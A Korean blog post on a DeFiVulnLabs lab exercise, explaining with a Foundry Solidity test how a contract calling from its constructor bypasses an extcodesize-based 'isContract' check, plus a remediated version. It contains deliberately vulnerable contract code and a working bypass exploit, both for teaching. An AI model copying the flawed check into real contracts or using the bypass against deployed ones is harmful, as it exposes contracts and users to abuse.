새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - Bypass iscontract

  • -
반응형

Bypass iscontract

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "forge-std/Test.sol";

contract ContractTest is Test {
        Target TargetContract;
        FailedAttack FailedAttackContract;
        Attack AttackerContract;
        TargetRemediated TargetRemediatedContract;

         constructor() {
    TargetContract = new Target();
    FailedAttackContract = new FailedAttack();
    TargetRemediatedContract = new TargetRemediated();
         }


function testBypassFailedContractCheck() public {
    
    console.log("Before exploiting, protected status of TargetContract:",TargetContract.pwned());
    console.log("Exploit Failed");
    FailedAttackContract.pwn(address(TargetContract));

    }
   
function testBypassContractCheck() public {


    console.log("Before exploiting, protected status of TargetContract:",TargetContract.pwned());
    AttackerContract = new Attack(address(TargetContract));
    console.log("After exploiting, protected status of TargetContract:",TargetContract.pwned());
    console.log("Exploit completed");

    }


function testTargetRemediatedContract() public {

    console.log("Before exploiting, protected status of TargetContract:",TargetRemediatedContract.pwned());
    AttackerContract = new Attack(address(TargetRemediatedContract));
    console.log("After exploiting, protected status of TargetContract:",TargetRemediatedContract.pwned());
    console.log("Exploit completed");

    }
  receive() payable external{}
}

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

contract Attack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
}


contract TargetRemediated {
    function isContract(address account) public view returns (bool) {
        require(tx.origin == msg.sender);
        return account.code.length > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

코드 test 결과이다.

protedcted status에 대해  하나는 성공했고 2개는 실패가 떴다.

Trace를 분석해 보자.

Trace는 총 3개이다.

첫 번째는 Target.pwned()가 false였다가 protected()를 거치고 Target.pwned()가 true가 된다.

두 번째는 Target.pwned()가 false였다가 pretected()를 거치고 Target.pwned()가 그대로 false가 된다.

세 번째는 TragetPemediated.pwned()가 false였다가 revert()가 뜬다.

 

한번 코드랑 같이 살펴보자.

testBypassContractCheck() 함수의 대략적인 코드의 흐름을 나타내보았다.

일단 먼저 Attack(address(TargetContract))가 실행이 되면 Attack 컨트랙트의 constructor가 실행이 된다.

그러면 Target(_target).isContract(address(this))가 실행이 되면서 Target컨트랙트로 간다.

Target 컨트랙트의 assembly는 size에 extcodesize(account)를 넣는 것이다. extcodesize(account)를 확인한 결과 0으로 나온다. 그러면 Target(_target).protected()의 결과가 참이 되어서 pwned가 true가 된다.

testBypassFaileContractCheck() 함수의 대략적인 코드의 흐름을 나타내보았다.

FailedAttackContract.pwn(address(TargetContract))에서 pwn을 실행한다. 그럼 Target(_target).protected()에서 size = extcodesize(account)를 실행시킨다. 그런데 FailedAttack의 extcodesize는 246이라 error가 뜬다 그래서 "no contract allowed"라는 string이 나온다.

testTargetRemediatedContract() 함수의 대략적인 코드의 흐름을 나타내보았다.

여기서는 TargetRemediatedContract() 함수가 Unknown으로 찾을 수 없다고 나온다. 그래서 에러가 뜬다.

 

결론은 extcodesize에 관한 이야기이다. extcodesize()는 컨트랙트를 초기화한 후 runtime opcode의 size를 저장한다.

runtime opcode 같은 경우는 Initialization opcode가 끝난 다음 실행이 되며 여기 안에는 constructor()가 실행이 된다.

그래서 constㅁructor() 안에 실행되는 함수가 있더라도 extcodesize()는 0이 나와서 우회를 할 수가 있다.

Vulnerability

assembly {
            size := extcodesize(account)
        }
        return size > 0;

exploit

    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
반응형

'Web3 > BlockChain' 카테고리의 다른 글

[BlockChain] DeFiHackLabs - BRA  (0) 2023.02.11
[BlockChain] DeFi Protocol - Tornado Cash  (0) 2023.02.10
[BlockChain] NFT  (0) 2023.02.10
[BlockChain] DeFiVulnLabs - Backdoor assembly  (0) 2023.02.07
[BlockChain] DeFiVulnLabs - UnsafeCall  (0) 2023.02.07
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.